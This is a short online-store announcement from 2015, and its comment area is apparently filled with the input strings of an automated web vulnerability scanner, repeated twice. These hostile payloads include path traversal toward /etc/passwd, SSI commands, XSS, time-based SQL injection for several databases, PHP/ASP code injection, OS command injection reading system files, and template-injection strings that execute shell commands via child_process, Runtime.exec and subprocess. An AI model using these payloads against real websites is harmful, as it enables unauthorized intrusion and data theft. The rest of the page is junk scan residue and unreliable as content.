You have no items in your shopping cart.
New online store is open!
Monday, 20 July 2015
Our online store is officially up and running. Stock up for the holiday season! We have a great selection of items. We will be constantly adding to our range so please register on our site, this will enable you to keep up to date with any new products.
All shipping is worldwide and will leave the same day an order is placed! Happy Shopping and spread the word!!
Leave your comment
c:/Windows/system.ini
../../../../../../../../../../../../../../../../Windows/system.ini
c:\Windows\system.ini
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
/etc/passwd
../../../../../../../../../../../../../../../../etc/passwd
c:/
/
c:\
../../../../../../../../../../../../../../../../
WEB-INF/web.xml
WEB-INF\web.xml
/WEB-INF/web.xml
\WEB-INF\web.xml
thishouldnotexistandhopefullyitwillnot
new-online-store-is-open
/new-online-store-is-open
\new-online-store-is-open
http://www.google.com/
http://www.google.com:80/
http://www.google.com
http://www.google.com/search?q=ZAP
http://www.google.com:80/search?q=ZAP
www.google.com/
www.google.com:80/
www.google.com
www.google.com/search?q=ZAP
www.google.com:80/search?q=ZAP
7600194850264430678.owasp.org
http://7600194850264430678.owasp.org
https://7600194850264430678.owasp.org
https://7600194850264430678%2eowasp%2eorg
5;URL='https://7600194850264430678.owasp.org'
URL='http://7600194850264430678.owasp.org'
http://\7600194850264430678.owasp.org
https://\7600194850264430678.owasp.org
//7600194850264430678.owasp.org
<!--#EXEC cmd="ls /"-->
"><!--#EXEC cmd="ls /"--><
<!--#EXEC cmd="dir \"-->
"><!--#EXEC cmd="dir \"--><
0W45pz4p
</p><scrIpt>alert(1);</scRipt><p>
</p> <scrIpt>alert(1);</scRipt><p>
</p><img src=x onerror=prompt()><p>
<img src=x onerror=prompt()>
＜img src=x onerror=prompt()＞
zApPX23sS
'
'
"
/ sleep(15)
' / sleep(15) / '
" / sleep(15) / "
and 0 in (select sleep(15) ) --
' and 0 in (select sleep(15) ) --
" and 0 in (select sleep(15) ) --
where 0 in (select sleep(15) ) --
' where 0 in (select sleep(15) ) --
" where 0 in (select sleep(15) ) --
or 0 in (select sleep(15) ) --
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
"java.lang.Thread.sleep"(15000)
/ "java.lang.Thread.sleep"(15000)
' / "java.lang.Thread.sleep"(15000) / '
" / "java.lang.Thread.sleep"(15000) / "
and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)
/ (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)
' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '
" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "
and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
case randomblob(100000) when not null then 1 else 1 end
case randomblob(1000000) when not null then 1 else 1 end
case randomblob(10000000) when not null then 1 else 1 end
fh6uykbsumc9mamtiwbiqd5smu3tn74ase04t3ovcbb83vbr52meu1xalg
case randomblob(100000000) when not null then 1 else 1 end
case randomblob(1000000000) when not null then 1 else 1 end
3jes0m4lg7wx9hd67ols9rtcic5u2xluh47v4w2bpcw8aiu0qot1boxf0cc0
WAITFOR DELAY '0:0:15' --
' WAITFOR DELAY '0:0:15' --
" WAITFOR DELAY '0:0:15' --
) WAITFOR DELAY '0:0:15' --
) ' WAITFOR DELAY '0:0:15' --
) " WAITFOR DELAY '0:0:15' --
)) WAITFOR DELAY '0:0:15' --
)) ' WAITFOR DELAY '0:0:15' --
)) " WAITFOR DELAY '0:0:15' --
) WAITFOR DELAY '0:0:15' (
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));
"+response.write(556,982*510,147)+"
+response.write({0}*{1})+
response.write(556,982*510,147)
cat /etc/passwd
&cat /etc/passwd&
;cat /etc/passwd;
"&cat /etc/passwd&"
";cat /etc/passwd;"
'&cat /etc/passwd&'
';cat /etc/passwd;'
&sleep 15.0&
;sleep 15.0;
"&sleep 15.0&"
";sleep 15.0;"
'&sleep 15.0&'
';sleep 15.0;'
type %SYSTEMROOT%\win.ini
&type %SYSTEMROOT%\win.ini
|type %SYSTEMROOT%\win.ini
"&type %SYSTEMROOT%\win.ini&"
"|type %SYSTEMROOT%\win.ini
'&type %SYSTEMROOT%\win.ini&'
'|type %SYSTEMROOT%\win.ini
&timeout /T 15.0
|timeout /T 15.0
"&timeout /T 15.0&"
"|timeout /T 15.0
'&timeout /T 15.0&'
'|timeout /T 15.0
get-help
;get-help
";get-help
';get-help
;get-help #
;start-sleep -s 15.0
";start-sleep -s 15.0
';start-sleep -s 15.0
;start-sleep -s 15.0 #
"'
<!--
]]>
zj 3943*2811 zj
zj{4287*4381}zj
zj${5210*6243}zj
zj#{4026*5767}zj
zj{#9433*4753}zj
zj{@6190*8259}zj
zj{{6893*7867}}zj
zj{{=5388*5091}}zj
zj<%=7910*7387%>zj
zj#set($x=7949*6404)${x}zj
zj<p th:text="${1457*7583}"></p>zj
zj{@math key="4700" method="multiply" operand="3665"/}zj
zj{{23860|add:25680}}zj
zj{{print "1440" "4482"}}zj
HaQrraydTCnsfEiAGIlBBFZhiNMkOWNEqltIDAoncqnZXDerbHRwZQiQusgHcVEcQqlchEJlKiILgbxXjwhyHHYyFMLqJJKKlyldvjFyQDlFvPKWQKGHyhObIvHmituIRviUVOjJxsemYDsfQBLPLXknbvLtAZPIeqUBGjEelqddMmJbpHhmTMQBmBpLmwDLVwBKDqwqTMsGXrHsjwPJCUiPwMnGDBytsYXXsVaitSdhLCSJwEvCyRlepHviDDBxgwVCeOXwQPfSeBGGCVwahhFIhkDiFUFGiCwYsnAdBESdFmoLBNsgooBLemmMqMwHrZlCIJtgAiLpZyTbTqnbuvvVLjXQxfxVZuYqOdesRrUuYPvashMupsGGWEjudrVxjcMfoOUchETnIupqdEFZhGPFFJboQRgbTpIxKCGTGcTMIRcONwoCdISZprAWndnApagRdOClDAWYinmOMfoDKnsIpVaZSNfFWDKHrYmSMLInYhhkpKTpInwqZCweJbYyJFWedFEBBCPZPxjluGGTAamNTHVuwCdAKbYUpuAgurOsorTluiucHGUQpfLdGsmgmBLXLHFtwyJMomqREppuLhmVScUikIQkjdIeFaKuMFJXpPFMQedOdBsTDjiXOdpcbdAZDSgNFyoCRjLmRoUdmNomMBwkQXwkxSmDUxZRvIgZuNONtpfUpsTrICZgkPVScrUWVqIPOtAWRFDAirZMEZgrwtfRAxtIdyjiNXstIicEiNtuGBmjyUxUCPfFUfDPPIFoyTLNTohiXYoDjIZimbyWbMQLcVtyACoYMCWDDKlWVnXxmUVrDSoZhRYGvQtbLYwvPUveoBtaepqfJQqcqGeEPgMHQYlPieQajOtAaxBsPFrLKUbULnDjVIYfXWkxbGmMeiUSmLnDXHPsZjGxirxmnBFjZOKTjAFsLVddUpklvQCyDcSlmEdVhlRPAwcyiHjhYvrHINpbkqlxJbnMmxdLftbpEgxCrYPdFCVJFXlgDYfasiuEosohJpfDlUQbwGpvQJIDuPMriATEgUIXOHQivFNvbBMossoRMTvKlUdWiBGREUILsvmichisBdsMjYAiNNgfpBkPYhJSYeysfktyrtNGVHwTBLJYZSkaeRftLSOrjcixIKHVqTkSTkpVunXmuaPCOcbBgcEBsRCdJBEVxRpjqFLGULHyPLZHqbaSgvjVtsGpVwjGCJXVEdXtRPLycvHPXveCWKQLwwMKiSVoqrRcYAFaQiaKqwjbsYrAjrPZIXLLIAMmefqBTJffjACasHPRkhOjhSoryOVVBmcwCPPKqrssaDFehTxvMudIQiDtSsrosHjTfvBsrGbrqetVOSIMCQbYAqmDiOCFEfSFeVZpNbsNEUgDRtDGFNXaqQmrmJOKMVdAhMtrvxsMAqaFhIWAdNNIXjEBExGpuyWiUAhiiSlpVMvKvPGTHDdNYUTDfTysuAROVAytEaCLZCQbNFpiFBYGuAUZpvYlgLrvbgetPEBsIMdKFuAtNxLsTfdxoxVKWynxOQBPnrdSAcxkuylgrEPxqZVCPYmNoHptwJldOBBXcdlSnQrRrAEkKmbWWhSClBAOeAQGvYkkKcuReZRPLqKESQuSGqRPDbeDyPlLqxPPfrmIDgxbIfeVvpBoaIckyRCVLXoeMjGpeEJMLgqNkqpmFVHugUAZTUqTCUbreFSmdgiDbjhbSFdWINIrQmxVmxDifTLiyZHrxVdrKVadoGfeoMfjUGcykNAyeFLdjpMguCYMRRutNdSMgrNjGaHIuBdQTAwFpiRQOSXeUXWKBLxbbVenAfMtYcCeDelRNFnPUmlgtiUIwDFOdiAlQmRpjVnWDFpdsHKkJDLuTLwPcAsBaOjlQDfmFsHTNoXWNtHcwfLbrLAvSMGgubpDQvZwisNaOLkIbxvYlWUrZnboxTnFVYuamKFabeLUarGrEygXZVyVlycOhveXZDiAnvQTTPsLmEgMbOIBoZhBiZWPrMLXlBBGTjKtQmNdjrgvHZWqcoIAfkmvCJrIXNKKKXfgCcbGwcQMxRRvUjPWoNFpPuCNdtQJqSuoiYTJjKSraHcOtpccqRtJGoMTeWULPriZ
ZAP
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
any
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
any?
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
any
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
any?
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
any
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
any?
Set-cookie: Tamper=bb1c776e-4ecc-45f6-817d-b0af2f2f23da
@
+
|
<
<xsl:value-of select="system-property('xsl:vendor')"/>
system-property('xsl:vendor')/>
"/><xsl:value-of select="system-property('xsl:vendor')"/><!--
c:/Windows/system.ini
../../../../../../../../../../../../../../../../Windows/system.ini
c:\Windows\system.ini
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
/etc/passwd
../../../../../../../../../../../../../../../../etc/passwd
c:/
/
c:\
../../../../../../../../../../../../../../../../
WEB-INF/web.xml
WEB-INF\web.xml
/WEB-INF/web.xml
\WEB-INF\web.xml
thishouldnotexistandhopefullyitwillnot
new-online-store-is-open
/new-online-store-is-open
\new-online-store-is-open
http://www.google.com/
http://www.google.com:80/
http://www.google.com
http://www.google.com/search?q=ZAP
http://www.google.com:80/search?q=ZAP
www.google.com/
www.google.com:80/
www.google.com
www.google.com/search?q=ZAP
www.google.com:80/search?q=ZAP
2450095432657420666.owasp.org
http://2450095432657420666.owasp.org
https://2450095432657420666.owasp.org
https://2450095432657420666%2eowasp%2eorg
5;URL='https://2450095432657420666.owasp.org'
URL='http://2450095432657420666.owasp.org'
http://\2450095432657420666.owasp.org
https://\2450095432657420666.owasp.org
//2450095432657420666.owasp.org
<!--#EXEC cmd="ls /"-->
"><!--#EXEC cmd="ls /"--><
<!--#EXEC cmd="dir \"-->
"><!--#EXEC cmd="dir \"--><
0W45pz4p
</p><scrIpt>alert(1);</scRipt><p>
</p> <scrIpt>alert(1);</scRipt><p>
</p><img src=x onerror=prompt()><p>
<img src=x onerror=prompt()>
＜img src=x onerror=prompt()＞
</p><scrIpt>alert(1);</scRipt><p>
</p> <scrIpt>alert(1);</scRipt><p>
</p><img src=x onerror=prompt()><p>
<img src=x onerror=prompt()>
＜img src=x onerror=prompt()＞
zApPX20sS
0W45pz4p
</p><script>alert(1);</script><p>
<img src=x onerror=alert(1);>
</p><script>alert(1);</script><p>
<img src=x onerror=alert(1);>
</p><script>alert(1);</script><p>
<img src=x onerror=alert(1);>
</p><script>alert(1);</script><p>
<img src=x onerror=alert(1);>
</p><script>alert(1);</script><p>
<img src=x onerror=alert(1);>
</p><script>alert(1);</script><p>
<img src=x onerror=alert(1);>
'
/ sleep(15)
' / sleep(15) / '
" / sleep(15) / "
and 0 in (select sleep(15) ) --
' and 0 in (select sleep(15) ) --
" and 0 in (select sleep(15) ) --
where 0 in (select sleep(15) ) --
' where 0 in (select sleep(15) ) --
" where 0 in (select sleep(15) ) --
or 0 in (select sleep(15) ) --
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
"java.lang.Thread.sleep"(15000)
/ "java.lang.Thread.sleep"(15000)
' / "java.lang.Thread.sleep"(15000) / '
" / "java.lang.Thread.sleep"(15000) / "
and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)
/ (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)
' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '
" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "
and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
case randomblob(100000) when not null then 1 else 1 end
case randomblob(1000000) when not null then 1 else 1 end
case randomblob(10000000) when not null then 1 else 1 end
case randomblob(100000000) when not null then 1 else 1 end
ertzgjx4eq0c6g23xxeodenylyokn9oafhp1vi61477h4076uwfrtdfaz70
case randomblob(1000000000) when not null then 1 else 1 end
WAITFOR DELAY '0:0:15' --
' WAITFOR DELAY '0:0:15' --
" WAITFOR DELAY '0:0:15' --
) WAITFOR DELAY '0:0:15' --
) ' WAITFOR DELAY '0:0:15' --
) " WAITFOR DELAY '0:0:15' --
)) WAITFOR DELAY '0:0:15' --
)) ' WAITFOR DELAY '0:0:15' --
)) " WAITFOR DELAY '0:0:15' --
) WAITFOR DELAY '0:0:15' (
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\
"+response.write(178,599*366,805)+"
+response.write({0}*{1})+
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));
response.write(178,599*366,805)
cat /etc/passwd
&cat /etc/passwd&
;cat /etc/passwd;
"&cat /etc/passwd&"
";cat /etc/passwd;"
'&cat /etc/passwd&'
';cat /etc/passwd;'
&sleep 15.0&
;sleep 15.0;
"&sleep 15.0&"
";sleep 15.0;"
'&sleep 15.0&'
';sleep 15.0;'
type %SYSTEMROOT%\win.ini
&type %SYSTEMROOT%\win.ini
|type %SYSTEMROOT%\win.ini
"&type %SYSTEMROOT%\win.ini&"
"|type %SYSTEMROOT%\win.ini
'&type %SYSTEMROOT%\win.ini&'
'|type %SYSTEMROOT%\win.ini
&timeout /T 15.0
|timeout /T 15.0
"&timeout /T 15.0&"
"|timeout /T 15.0
"|timeout /T 1.0
'&timeout /T 15.0&'
'|timeout /T 15.0
get-help
;get-help
";get-help
';get-help
;get-help #
;start-sleep -s 15.0
";start-sleep -s 15.0
';start-sleep -s 15.0
;start-sleep -s 15.0 #
"'
<!--
]]>
zj 4819*6321 zj
zj{8469*1193}zj
zj${5358*9267}zj
zj#{7805*4962}zj
zj{#9206*9300}zj
zj{@4692*8758}zj
zj{{6803*1630}}zj
zj{{=9272*1115}}zj
zj<%=8173*3241%>zj
zj#set($x=9647*7532)${x}zj
zj<p th:text="${8499*2639}"></p>zj
zj{@math key="8959" method="multiply" operand="4866"/}zj
zj{{55720|add:29220}}zj
zj{{print "8919" "7952"}}zj
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }
#set($engine="")
#set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15"))
#set($null=$proc.waitFor())
${null}
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}
${__import__("subprocess").check_output("sleep 15", shell=True)}
{{__import__("subprocess").check_output("sleep 15", shell=True)}}
<%=%x(sleep 15)%>
#{%x(sleep 15)}
{system("sleep 15")}
MpHjkWgJSQKRSmxVpuuHCumKZlxfqwkGyVApYtCqOuYElprBnoUtOuKYQdddnBlgMcVxjUfbMMYJwumiyGrxUjTRNIgNEfroqGRDsqZCylcSIXkyvjFUxKZfDbJuRJxejXIJMbMoEocDMYLwvpbQGfLjRuELNhpWatNcOeOLQmiGxcyTxKARRtAtNTctmZEsiSQJgWHUQwLexjgpOlZKUwwumKTlvJQpZiZeYTeWlURLiWYahmZiqaVrEiQItUoFOpbnTNQLOKFCbJqKkLjRCqJjqddqvVPMhRvsbLIdMPtsxEcSLRKJFtDFuRfVysqOuJwTFbecXpmFeXnuKSoxcqZtyXMxcZpqQieYLQCIlBndNJkmXEFukIwQQUxCPVtpecKIjGOCFdpgGwcySTijMVodGoohIVBVKWltlTBtcxsGIVurxGgNDJeBNrHaYplEyvJysxOwQibuYGkmlAcmTySibZFeDslXKxCOVoibYgmhsLJrQHlravWOugcqQjKcGkVMWqmJVNqKFkWRUhMXscqVLrVphMdvXjDrexIYkiMgyILKAXHqcXOGDvEkZtdwbsBCHjCxHmoTJbNUMovTbjObhTAhBdCJVviZnAIbgjmCjlafXaBSHonDvSdGaSrrbCnCHOwVEDeuaixbwBqUNDjGjXHTwhCXWOlmRhltQyXjesxItDkMPjNtiTYUTJwZPQqkQXbogykQVTiEDBjwKSSRHuVUvOkixkIblaOKNXqmxkHpnriHclftBLtUvolNYFebChVDtEbmOMFKkgQireuIiNVCmGdMPbsgMctHyaMikncwVGEonSTHnwpvTOXykbqMxtjstZHVwBlJiFdSlWXcAbhlQisbQkPhjNYNiqOfTWqpAkActglaOiQmZTiRHaUBPVCkWHBaWmNJGwCcfVobUZRgQNiCdvdvQXTLrCvanVyuHrpFYkRvJvkNdxsuCUfpRIwmodyQUeYBZseEfSyvbfqduoZoeiGVbkiLCGdCXYmqYwSTvktimSQynrnAEBLlyxRpLlgHlQQvGUbndPMWijTZMFHBrAWtGKcbhalBVIbqIokSTTKgWSbfrvHUCuyLAmGPdwuytOJUUJNShbTJMqxcISpknctpRsqImWmBjDriYguvYSyRuOExkIHyDNuAqgqiOJokJXHVyVwEHoYMpsTUGCOMIWmODTUbsexdRmWsumNLqqCRNsDVhaLXkhyXcHReIIfjbxJQrUCcHPELEBpMBBNVwUryrMbnrcVWdupudgloplsLauXHtJJlrCbfhlSNfVwpvIseItFusnbjTIjsmFodgshXBtotGxtVDUjyoFXjDAeynIIKQITPqeXBBbSbTdcvLADHgUNaTAlKCAkSKxIMgVyWnMmGayadOOPbNMcZJinsAMOUMxXdIFUVFQknjKrlOtqConYDeCbVBwekwEnxOHQTkbavHEnxBmtdotBDNiFIlLDXRNECIAcZdtwleYYfMPkDWWGMtrmVYYEYmFOQIrCtGArpfvvfgatLNVpMAfswLrNqEDAPOxZDLsFCeviLGkqHCuFZcghQnSXtZVcyGexjjhCwNxBAXVfnKrCmKZAUyVfODTlOeUTMfPfPYSwSscClXEeOcZKyXrDxunUdMqOhlYOHgdrOdMDXgmEKLuVCFhQWaxjDtRIuEkcFMFUBLNxrPrwhMNeZcejXKLwVWwhvuRfBuseoNgHtcBGyXefrbsFycTvMBSYkwnsZSUmIqrMmHrXiLDPYpjKoCrcRVqXFWwiCvXKMxsKDNnfYaVTkVIncLEypgRcZfmwYJQgpjJDuIXqrFhucHxsUhqcoqAWkdpUgCvIQAuMPJDDAmXAfbgPkdIJsCFTKXpvjphLwhTKrVpyjmUBvivwHRQHpHGDADuhvcidXYtRtNFScInNMMaJkWMEHIDUvvRCiIuFdBSUZhIYHkgSyISoKbCWNtOWeVakiDcOrKMmmXdGiXDhPxymxhirFFEnRgwcoqFwEnMAsKlSwIqZoAIaQUYANWphdUaOYLLNcDQqrAFLXEhcSujXRZfvwaRmxGiZPuMGgaBZhPaVNqOJtnaosXXWFforWsUXplqHkFQufylLn
ZAP
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
any
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
any?
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
any
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
any?
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
any
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
any?
Set-cookie: Tamper=48765ea1-6ca5-4dc9-bed1-21a4038aa4b9
@
+
|
<
<xsl:value-of select="system-property('xsl:vendor')"/>
system-property('xsl:vendor')/>
"/><xsl:value-of select="system-property('xsl:vendor')"/><!--